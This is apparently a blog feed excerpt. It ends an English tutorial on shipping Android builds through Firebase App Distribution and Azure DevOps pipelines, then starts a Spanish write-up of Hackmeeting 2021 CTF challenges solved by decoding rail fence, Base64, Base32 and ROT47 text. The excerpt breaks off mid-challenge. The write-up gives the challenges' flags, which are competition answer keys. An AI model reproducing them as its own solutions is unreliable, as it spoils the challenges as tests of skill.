    compileOptions {
        sourceCompatibility JavaVersion.VERSION_1_8
        targetCompatibility JavaVersion.VERSION_1_8
    }
    kotlinOptions {
        jvmTarget = &apos;1.8&apos;
    }
}

dependencies {

    implementation &apos;androidx.core:core-ktx:1.7.0&apos;
    implementation &apos;androidx.appcompat:appcompat:1.4.0&apos;
    implementation &apos;com.google.android.material:material:1.4.0&apos;
    implementation &apos;androidx.constraintlayout:constraintlayout:2.1.2&apos;
    testImplementation &apos;junit:junit:4.+&apos;
    androidTestImplementation &apos;androidx.test.ext:junit:1.1.3&apos;
    androidTestImplementation &apos;androidx.test.espresso:espresso-core:3.4.0&apos;
    implementation platform(&apos;com.google.firebase:firebase-bom:29.0.3&apos;)
    implementation &apos;com.google.firebase:firebase-analytics-ktx&apos;
}</code></pre><h3 id="step-10">Step 10 </h3><p>After all the modifications, you are ready </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-21.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="781" height="368" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-21.png 600w, https://blog.scesi.org/content/images/2022/01/image-21.png 781w" sizes="(min-width: 720px) 720px"></figure><p>As you can see the app is already displayed in the console.<br>Notice that app nickname is displayed </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-22.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="942" height="633" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-22.png 600w, https://blog.scesi.org/content/images/2022/01/image-22.png 942w" sizes="(min-width: 720px) 720px"></figure><h2 id="build-your-android-project">Build your android project</h2><p>Basically you only need the apk or aab file, so if you already have one of these, you can skip to the next section </p><p>For generating a build just go to </p><p>Build &gt; Build Bundle(s)/ APK(s) &gt; Build APk(s) or Bundle</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-23.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1123" height="469" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-23.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-23.png 1000w, https://blog.scesi.org/content/images/2022/01/image-23.png 1123w" sizes="(min-width: 720px) 720px"></figure><p>Once the build is finished you need to locate it, there will be a notification in the lower right corner, you can click the locate button and it will open the explorer with apk location. In case there is not any notification you can click the <strong>Event Log, </strong>locate at the same position, to check what happened to the build </p><h1 id="set-up-the-azure-pipeline">Set up the azure pipeline </h1><h1 id="lets-work-first-with-firebase-cli">Lets work first with firebase cli</h1><p>Depending on the OS you are using you can have several ways to install the CLI, but we are going to use <em>npm.</em><br>Go to <a href="https://firebase.google.com/docs/cli">firebase &#xA0;docs</a>, and follow the instructions </p><pre><code class="language-bash">npm install -g firebase-tools</code></pre><p>Once you are done with the install process you can check it by asking the version </p><pre><code class="language-bash">firebase --version
9.16.5</code></pre><p>Note: It is recommended to use this version or superior.<br>If everything is correct the version will be printed, otherwise you might want to check again the docs for help </p><h3 id="step-1-login">Step 1: Login</h3><p>Basically there are two ways one can login to firebase<br>First is running:</p><pre><code>firebase login </code></pre><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-26.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="958" height="113" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-26.png 600w, https://blog.scesi.org/content/images/2022/01/image-26.png 958w" sizes="(min-width: 720px) 720px"></figure><p>It will ask you for permission to collect some reporting information, you can say Yes or No , after that a new tab will be opened in your browser in order to login to your google account. <br>When you login correctly the next message will be displayed</p><p></p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-25.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="422" height="225"></figure><p>Go back to your terminal and now you are logged , you can check that by typing </p><pre><code>firebase login:list</code></pre><p>It will show your logged email account </p><p>The second way to login is by using a token, you are going to use this way for the pipeline, why ? &#xA0;because it is a non-interactive login , in the first way , the login process requires a user to login manually by going into the browser. </p><p>Before doing anything logout from firebase cli </p><pre><code>firebase logout</code></pre><p>So now you are going to introduce this command </p><pre><code>firebase login:ci</code></pre><p>Even though this command will still ask you to go to your browser and login to your google account , this will give you a token </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-27.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="538" height="261"></figure><p>This token you can use it in any machine, you no longer will need to login , you can directly use this token in every firebase operation you do , so save this token carefully </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-29.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy"></figure><p>All right, since you build an apk in the previous section you are going to use it now:</p><pre><code>firebase appdistribution:distribute app-debug.apk --token TOKEN --app 1:329560641701:android:bbf839ba9b082200db7d4c  --release-notes &quot;Upload with token&quot;
</code></pre><ul><li>appdistribution:distribute &#xA0;<br>This is for the type of operation you are going to do.</li><li>--token<br>This is where you are going to introduce your token</li><li>--app <br>This is the id of the app that we got in the Create a firebase project section last step</li><li>--release-notes <br>Additionally you can add some release notes </li></ul><p>There are many other parameters that you can use , but these ones are enough at the moment, in another post we are going to explore in deep the firebase cli &#xA0;</p><p>And you will get this output after last command </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-30.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="392" height="97"></figure><p>You can go to your firebase project and check it, in Release &amp; Monitor &gt; App Distribution</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-31.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="947" height="609" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-31.png 600w, https://blog.scesi.org/content/images/2022/01/image-31.png 947w" sizes="(min-width: 720px) 720px"></figure><p>You are ready for the next section, so why did we do all this stuff manually if we are going to automate via the pipeline? &#xA0;<br>Because sometimes you have misconfigured the pipeline, and you can waste a lot of time trying to figure out what is wrong. This happened to me once with appcenter :(</p><h2 id="create-a-pipeline">Create a pipeline</h2><h3 id="step-1-upload-your-project-to-azure-devops">Step 1: Upload your project to azure devops</h3><p>I&apos;m not going to show how to upload your project , if you have any problems please check the docs </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-32.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1562" height="784" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-32.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-32.png 1000w, https://blog.scesi.org/content/images/2022/01/image-32.png 1562w" sizes="(min-width: 720px) 720px"></figure><h3 id="step-2-set-variables-for-pipelines">Step 2: Set Variables for pipelines</h3><p>You can go to Pipelines &gt; Library &gt; + Variable Group, and add your variables.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-33.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1537" height="803" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-33.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-33.png 1000w, https://blog.scesi.org/content/images/2022/01/image-33.png 1537w" sizes="(min-width: 720px) 720px"></figure><h3 id="step-3-create-pipeline">Step 3: Create pipeline</h3><p>Go to Pipelines &gt; Pipelines &gt; Create Pipeline</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-34.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1342" height="802" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-34.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-34.png 1000w, https://blog.scesi.org/content/images/2022/01/image-34.png 1342w" sizes="(min-width: 720px) 720px"></figure><p>Check Azure Repos Git </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-35.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1012" height="780" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-35.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-35.png 1000w, https://blog.scesi.org/content/images/2022/01/image-35.png 1012w" sizes="(min-width: 720px) 720px"></figure><p>Select your repository</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-36.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="954" height="691" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-36.png 600w, https://blog.scesi.org/content/images/2022/01/image-36.png 954w" sizes="(min-width: 720px) 720px"></figure><p>Select the option Android</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-37.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="814" height="605" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-37.png 600w, https://blog.scesi.org/content/images/2022/01/image-37.png 814w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-38.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1588" height="683" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-38.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-38.png 1000w, https://blog.scesi.org/content/images/2022/01/image-38.png 1588w" sizes="(min-width: 720px) 720px"></figure><p>You can replace your pipeline content with the one below, it is pretty basic but it is enough for this demo.</p><pre><code>
trigger: 
  - master

pool:
  vmImage: &apos;macos-latest&apos;

steps:
- task: JavaToolInstaller@0
  inputs:
    versionSpec: &apos;11&apos;
    jdkArchitectureOption: &apos;x64&apos;
    jdkSourceOption: &apos;PreInstalled&apos;
  display:

- task: Gradle@2
  inputs:
    workingDirectory: &apos;&apos;
    gradleWrapperFile: &apos;gradlew&apos;
    gradleOptions: &apos;-Xmx3072m&apos;
    publishJUnitResults: false
    testResultsFiles: &apos;**/TEST-*.xml&apos;
    tasks: &apos;assembleDebug&apos;
  displayName: &apos;Building apk&apos;
  
- task: NodeTool@0
  inputs:
    versionSpec: &apos;12.x&apos;
  displayName: &apos;Install Node.js&apos;


- task: CmdLine@2
  inputs:
    script: &apos;npm install -g firebase-tools&apos;
    workingDirectory: &apos;$(Agent.ToolsDirectory)&apos;
  displayName: &apos;Install firebase cli&apos;

- task: CmdLine@2
  inputs:
    script: &apos;firebase appdistribution:distribute $(Build.SourcesDirectory)/../s/app/build/outputs/apk/debug/*.apk --token FIREBASE_TOKEN_REPLACE --app APP_ID_REPLACEC --release-notes &quot;Upload from azure&quot;&apos;
</code></pre><p>You only need to replace the FIREBASE_TOKEN_REPLACE and APP_ID_REPLACE, with the ones you have</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-39.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="601" height="961" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-39.png 600w, https://blog.scesi.org/content/images/2022/01/image-39.png 601w"></figure><p>If you get this error while running your pipeline it is because azure devops <a href="https://devblogs.microsoft.com/devops/change-in-azure-pipelines-grant-for-private-projects/">disabled parallel jobs</a>.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-41.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1442" height="707" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-41.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-41.png 1000w, https://blog.scesi.org/content/images/2022/01/image-41.png 1442w" sizes="(min-width: 720px) 720px"></figure><p>You have two options to solve this matter</p><ul><li>Request azure devops a permission to run parallel jobs</li><li>Stop using hosted agents and use self hosted agents</li></ul><p>The first &#xA0;requires to fill a form, and it takes them 2-3 three days to respond, mine took 2 days </p><p>The last one is probably my favorite, since you will never depend on azure virtual machines, you have full control over your machine, and there is no time limit. In another blog I&apos;m going to teach that part.<br>I tried the two options, &#xA0;all of them work, but for simplicity let&apos;s go for the first one.</p><p>In order to request parallelism, you need to fill this <a href="https://forms.office.com/pages/responsepage.aspx?id=v4j5cvGGr0GRqy180BHbR63mUWPlq7NEsFZhkyH8jChUMlM3QzdDMFZOMkVBWU5BWFM3SDI2QlRBSC4u">form</a></p><p>The email response you will get looks like this, and now you are able to run your pipelines. If you don&apos;t want to wait, go for self hosted agents </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-45.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1206" height="718" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-45.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-45.png 1000w, https://blog.scesi.org/content/images/2022/01/image-45.png 1206w" sizes="(min-width: 720px) 720px"></figure><p>Finally when you successfully run the pipeline, you will get the app in firebase </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-44.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="943" height="750" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-44.png 600w, https://blog.scesi.org/content/images/2022/01/image-44.png 943w" sizes="(min-width: 720px) 720px"></figure><h3 id="use-apptester">Use AppTester</h3><p>If you want to distribute this to people, you need to invite them <br>App distribution &gt; &#xA0;Invite links &gt; New invite link <br></p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-48.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1475" height="972" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-48.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-48.png 1000w, https://blog.scesi.org/content/images/2022/01/image-48.png 1475w" sizes="(min-width: 720px) 720px"></figure><p>Share the link, and they will get an email invitation, with steps inside, you will download apptester from there.<br><br>As a last step don&apos;t forget to distribute the build to your testers, just click in the build and add testers to notify them </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-46.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1303" height="918" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-46.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-46.png 1000w, https://blog.scesi.org/content/images/2022/01/image-46.png 1303w" sizes="(min-width: 720px) 720px"></figure><p>In tester device , accept the invitation </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-49.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="540" height="1098"></figure><p>Inside apptester you will &#xA0;see your apps, just download and install them </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-50.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="540" height="1098"></figure><p>Finally you have your app running in your phone </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-51.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="540" height="1098"></figure><h3 id="conclusions"><br>Conclusions </h3><p>Well, this was a long post, I just covered the basics of each section, in future blogs I&apos;ll &#xA0;explain :</p><ul><li>How to improve the pipeline</li><li>Signing and distributing with different flavors </li><li>How to improve the firebase distribution </li><li>How to set up self hosted machines and how to manage them </li></ul><p>&#x201C;Youth is happy because it has the capacity to see beauty. Anyone who keeps the ability to see beauty never grows old.&#x201D;<br>&#x2015; <strong>Franz Kafka</strong></p><h3 id="resources">Resources</h3><ul><li><a href="https://firebase.google.com/docs/cli">Firebase CLI</a></li><li><a href="https://docs.microsoft.com/en-us/azure/devops/pipelines/agents/agents?view=azure-devops&amp;tabs=browser">Azure pipelines agents</a></li><li><a href="https://firebase.google.com/docs/app-distribution/android/set-up-for-testing">Firebase AppTester</a></li></ul><p>Finally, thanks for reading my post.<br>Cristal</p>]]></content:encoded></item><item><title><![CDATA[Write-Up Hackmeeting 2021]]></title><description><![CDATA[Este CTF para el hackmeeting de 2021 participamos ganando el primer lugar en la competencia. Y en este post mostraremos la resolución de los problemas.]]></description><link>https://blog.scesi.org/writeup-hackmeeting-2021/</link><guid isPermaLink="false">61d1c3f0edab8b59b23edfa5</guid><category><![CDATA[WriteUp]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Hackmeeting]]></category><category><![CDATA[Hacking]]></category><dc:creator><![CDATA[Diego Corrales Vega]]></dc:creator><pubDate>Wed, 12 Jan 2022 12:00:00 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2022/01/rect28264-2.png" medium="image"/><content:encoded><![CDATA[<img src="https://blog.scesi.org/content/images/2022/01/rect28264-2.png" alt="Write-Up Hackmeeting 2021"><p>Este CTF se llev&#xF3; a cabo para el hackmeeting de 2021 en el mes de noviembre, participamos como el equipo <a href="https://ctf.hackmeeting.org.bo/scoreboard">ositoscari&#xF1;ositos</a> con <a href="https://twitter.com/DraykoEs">Drayko</a>, <a href="https://www.facebook.com/israel.arispe.16">Israel</a>, <a href="https://www.facebook.com/jhonnygary.mamanicortez">Gary</a> aunque este &#xFA;ltimo no pudo participar a &#xFA;ltimo momento por cuestiones de la universidad, y finalmente mi <a href="https://www.linkedin.com/in/diego-corrales-vega-8a445222a/">persona</a>, logramos resolver casi todos los retos (nos falt&#xF3; uno porque era necesario estar presentes en el evento de Yacuiba) y sin recurrir a las pistas, de esta forma ganamos el primer lugar en la competencia.</p><h2 id="huevo-revuelto-a-lo-ferroviario">Huevo revuelto a lo ferroviario</h2><h6 id="puntos-295">Puntos: 295</h6><blockquote>Chs4nc1T{03sbdy043r0Fy40hf}															</blockquote><p>Para este primer reto podemos observar que la flag se encuentra desordenada, y el t&#xED;tulo del reto nos da una pista del tipo de cifrado, luego de investigar un poco encontramos el cifrado <a href="https://es.wikipedia.org/wiki/Cifrado_Rail_Fence">rail fence</a>, as&#xED; que podemos buscar un <a href="https://www.dcode.fr/rail-fence-cipher">decoder</a> y obtener la primera flag &#xA0;<code>CTF{h0y3ss4b4d0yn0h4c3fr10}</code>.</p><h2 id="horrocruxes">Horrocruxes</h2><h6 id="puntos-917">Puntos: 917</h6><blockquote>Us&#xE9; un sistema empresarial conocido para tomar mis preciados archivos y dividirlos en varias piezas para protegerlos. Me sabotearon los servidores y quiz&#xE1;s puedas ayudarme a recuperarlo.</blockquote><p>Para este reto nos proporcionan el siguiente <a href="http://scesi.org/hm21-looperzip">archivo</a>, comencemos extrayendo los tres archivos<code>.bin</code>. Podemos unir los 3 archivos en uno solo con el comando <code>cat</code>.</p><p>Con binwalk usaremos el par&#xE1;metro <code>--extract --dd=&quot;.*&quot;</code> de esta forma nos aseguramos que se extraigan todos los archivos de la imagen.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/12-1.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="1319" height="441" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/12-1.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/12-1.JPG 1000w, https://blog.scesi.org/content/images/2022/01/12-1.JPG 1319w" sizes="(min-width: 1200px) 1200px"></figure><p>Luego de realizar la extracci&#xF3;n si revisamos la carpeta con los archivos extra&#xED;dos encontramos una imagen con la flag del reto <code>CTF{quierodormir}</code>.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/11-1.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="492" height="444"></figure><h2 id="super-mario-64">Super Mario 64</h2><h6 id="puntos-55">Puntos: 55</h6><!--kg-card-begin: markdown--><blockquote>
<p>Adri&#xE1;n Nario es un importante empresario latinoamericano. Un fin de semana especialmente aburrido, estuvo limpiando el dep&#xF3;sito de la casa y encontr&#xF3; una caja que ten&#xED;a una copia de Super Mario 64, otrora su juego favorito. Debajo de la caja, encontr&#xF3; pegado este mensaje:</p>
<p>Q1RGe0dyYW5kZUNoYXlhbm5lfQ==</p>
<p>&#xBF;Puedes ayudarlo a descifrarlo? Quiz&#xE1;s contiene algo que le interese...</p>
</blockquote>
<!--kg-card-end: markdown--><p>Para este reto tenemos la flag cifrada, por el t&#xED;tulo del reto tenemos como pista que se trata de Base64, as&#xED; que podemos usar alg&#xFA;n <a href="https://www.base64decode.org/">decoder online</a> o tambi&#xE9;n usar nuestra consola linux para descifrar el mensaje.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/1-10.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="718" height="76" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-10.JPG 600w, https://blog.scesi.org/content/images/2022/01/1-10.JPG 718w"></figure><h2 id="basista-1-5">Basista 1 &lt;&lt; 5</h2><h6 id="puntos-65">Puntos: 65 </h6><!--kg-card-begin: markdown--><blockquote>
<p>Todos hablan del Basista 64, famoso asesino aterrorizante de la otrora ciudad tranquila de Wonder Will, pero nadie habla del Basista 1 &lt;&lt; 5.</p>
<p>Descifra este c&#xF3;digo para identificarlo:</p>
<p>JJDEQRKXKNBVQS2SI5DE2VCLJ5FVMRCUJVHEEU2LKJDVKTKVKNEEUTK2KZDVCMSOJFNE4RSPKMZE6S2KJNKVOUKTKRGEEQ2UI5GVGUSKLEZFMRKWLJLUOUK2IVDVIS2HJRFEYVKXKRFTES2OJFDEWUCKGVEFKNSUGJIESPI=</p>
</blockquote>
<!--kg-card-end: markdown--><p>Para este reto tenemos como pista el t&#xED;tulo Basista, y por la descripci&#xF3;n descartamos Base64 as&#xED; que podemos probar Base32, usemos <a href="https://gchq.github.io/CyberChef/">cyberchef</a> aplicando tres veces la opci&#xF3;n From Base32 y conseguimos la flag <code>CT{MuchosSabenBase64PeroPocosBase32}</code>.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/13.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="1532" height="544" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/13.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/13.JPG 1000w, https://blog.scesi.org/content/images/2022/01/13.JPG 1532w" sizes="(min-width: 1200px) 1200px"></figure><h2 id="cesar-estar%C3%ADa-orgulloso-2-la-secuela">Cesar estar&#xED;a orgulloso 2: La Secuela</h2><h6 id="puntos-85">Puntos: 85</h6><!--kg-card-begin: markdown--><blockquote>
<p>En la Guerra Hirviente, el almirante C&#xE9;sar Torres ha desarrollado un sistema m&#xE1;gico de cifrado que permit&#xED;a intercambiar mensajes secretos entre el emperador Belos y los ej&#xE9;rcitos en batalla. Dicho sistema al parecer logr&#xF3; ser vulnerado, y nuestro amigo le dio varias vueltas de tuerca (47, de hecho) a su invenci&#xF3;n para volver a estar en la vanguardia.</p>
<p>Le conseguimos robar un mensaje y necesitamos tu ayuda para ver qu&#xE9; dice.</p>
<p>r%uLr6D2C$:tDE2~C8F==@D@N</p>
</blockquote>
<!--kg-card-end: markdown--><p>Para este reto es importante leer la descripci&#xF3;n ya que nos dan una pista, primero es importante el titulo ya que existe un <a href="https://ayudaleyprotecciondatos.es/2020/06/10/cifrado-cesar/">cifrado cesar</a> y segundo nos dicen que para el cifrado nuestro amigo le dio varias vueltas de tuerca &quot;47&quot; para ser exactos, entonces podemos usar ROT47 y obtener la flag <code>CTF{CesarSiEstaOrgulloso}</code>.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/1-11.JPG" class="kg-image" alt="Write-Up Hackmeeting 2021" loading="lazy" width="968" height="300" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-11.JPG 600w, https://blog.scesi.org/content/images/2022/01/1-11.JPG 968w" sizes="(min-width: 720px) 720px"></figure><h2 id="molestemos-a-tu-cerebro">Molestemos a tu cerebro</h2><h6 id="puntos-350">Puntos: 350</h6><blockquote>Decodifica el mensaje adjunto.</blockquote><p>Para el reto tenemos el siguiente <a href="http://scesi.org/hm21-aaaaaaaatxt">archivo</a>, su contenido es el siguiente:</p><!--kg-card-begin: markdown--><pre><code>Vm0xNGIyUXhSbkpOVm1SVVlrZFNWVmx0ZEhkWFJteHlXa1pPVjFac1NsaFdNalZyVmtVeFYyTkZhRmRXTTJoUVZsUkdZV050U2tWVmJHUlhUVEZLV1ZadGRGWmxSazVJVm10YWFGSnRVbTlVVm1oRFYwWmFSMVp0UmxkTmF6VjZWbGMxUzJFeFNuTlhiazVhWVRGd00xVXdXbUZrUjFaSFdrVTFVMkpHY0VsV2ExcHZZVEZTYzFkc2JGSmlSbkJoV1ZSS1UxWkdWWGhYYlVaVVZqQTFTRmRyV2s5Vk1rcEhZMFJXVjAxdVVsaFVWVnBXWlVaT2MyRkdXbWxTYkhCWlYxWmtNRmxXVmtkWFdHaFlZWHBzY1ZSWGN6RlRSbXhXVjJzNVZXSkZiRE5VYTFKTFZqRmtTVkZyVWxwV1JWcFlWbXBHVTJSV1RuUlNiRTVYVFZWd1YxWXllR3RsYXpGWFUyNU9XR0pzU25GVVZFcHZWakZTVjFkdVRrOVNiR3cxV1ROd1IxWlZNVmRqUm5CYVZsWmFjbFp0YzNoV01VNXpZVVphYVZKdVFreFhiRlpoWkRGSmVWSnJaRlpoZWxaWVZGUktiMVJzV25STlZGSldUVlpHTkZVeU5VOVdNV1JJWVVaV1dsWkZXa3hXYTFwelZsWlNjbFJzV2xOaVJsa3dWbXBLTkZReFZYbFRhMlJUWVdzMWFGWnNXbmRqYkZwelYyMUdhbUpWTlVkV01uaHJZVlprUms1SWNGZFNiSEJvVmxSR1MyTXhaSFZUYlhCVFlrWndXVmRYZUc5aU1XUlhWMnhzYWxKWFVuSlVWbHBMVTBaa2NsZHRSbWhXYTNCYVZsZDRiMVpXV2xkalJtUmhWbXh3VkZZd1pGTlNWa1p6Vkd4T2FFMXVaRFpXYkZKTFpXczFWMVpZYkZSaE1YQllXVmQ0WVZZeFduRlViVGxVVW14Wk1sVnRlR3RXTURGeVRsVm9WMDF1YUZCV2FrWkxZMnhrVlZKc1pHaGhNamt6VjJ4a2VtVkdXWGhhUm14aFVqSm9WRll3Wkc5WFJscDBaRVphVGxac1NucFdiWEJoVlRKS2MyTklUbGRpV0dneldsZDRZVk5IVGpaU2JHUnBWbGhDUzFaV1pEUlJNVmw0VTFod2FGSlhhRmhaVjNSaFZURndSVkZVUmxkaGVrWllWbTF6TVZVeVZuUmFla0pYWWxSRk1GZFdXbHBsUms1MVUyczFXRkpZUW5sV1YzQkRXVlphYzFadVRsZGliVkpWV1d0YVlXVkdWblJPVlRsWFRWWndlbGt3Vm10WlZrcFhWMVJDVjFaRmNFZGFWV1JQVWpKR1IxZHNaRk5XVm10M1ZtMTRVMUl5UlhsVWJrcFFWbTFTVmxsclduZGpSbFowWlVoa1YxSnNjSHBXVjNSclZtc3hWMU51Y0ZkV00yaG9Wa2Q0V21ReFpITmhSbVJvVFZoQ1NGZHJVa2RXTWs1elYyNUtVRlpzU2xSWldIQlhWakZhVlZOcVFsZE5WbkJZVmpJMVMxUXhXbFZTYkdSYVlrZG9VMXBFUmxkT2JFcHpZMGQwVGxZeFNqWldha3A2VFZaU2MxUnJhR2hTTW1oWVdWUktVbVF4VmpaU2JVWlRUVlUxZWxZeWVFTldNa3BYVTJ4YVYxSnNXblpaYWtaT1pVWmtjbUZIZUZOTk1VcFpWa1phWVdReFpFZFhXR2hvVTBVMVdGbFljRWRUYkZwWVpVYzVWMkpWY0ZwV1YzaHZWbXN4ZFdGSVNsZGhhM0JRVldwR1UyTXhWbk5hUjJ4WVVqSm9NbFp0TUhkbFJURkhWVmhvVm1Kck5WVlpWRVozWTBaV2MxcEhPVlpOVjNoV1ZrZDRUMWRHU25OWFZFcFdWbTFvZGxac1drdGpNazVIV2tad2FXSnJTa2xXYkZKSFV6Sk5lRlJ1VGxkaVJscFlWV3hXY21ReFdsaGtSMFpWWWxaYVNWWkhkR0ZoTVVweVRsVTVWMkpZYUROV2FrWmhWMGRTUjFSc1VrNVdhM0EyVm14a05GWXhXa2hTV0d4b1VteGFWbFp0ZUdGTk1WcEhWMnhPV0ZJeFNrWldWM2hMVkd4YWMxZFVRbGRoYTI5M1ZHdGFZVmRHU2xsalIwWlRVbXh3V1ZaWGVHRlpWMVp6V2taa1dHSlZXbkZaV0hCSFVteFZlV1ZIZEZaTlZuQjVXVEJXZDFZeFdrWmlla0phWld0YVMxcFZXbUZqTVhCSFdrWm9WRkpWY0ZoV01WcFRVekZWZUZSclpGaGlhelZZV1d0YWQxUXhWbk5WYTJSc1VteFdOVnBWV2s5V01VcFZVbXRhVjJKWVVqTldiVEZMVjFaU1ZWSnNaR2xYUjJodlZsY3dlRk14U25SVmExcFFWbTFTV0ZsVVRrTlhWbHB5V2tSQ1ZrMVdSalJWTW5SclYwZEtjbU5HUWxkaVIyaFVWbXRhVjJNeGNFZFViR1JYWWtoQ05sWnRNWGRSTVZsM1RWWmFhVkpHU2xkWmEyUnZaV3hhVlZGWWFGTk5WMUo2VmxkNFlWUnRTblJoUnpsWFlURmFWMVJXV21Ga1JsSnlWMjFHVTJKR2NGbFdWM2hUVmpGS2MxZHNhR3BTVlRWUVZXMXplRTVHV1hsT1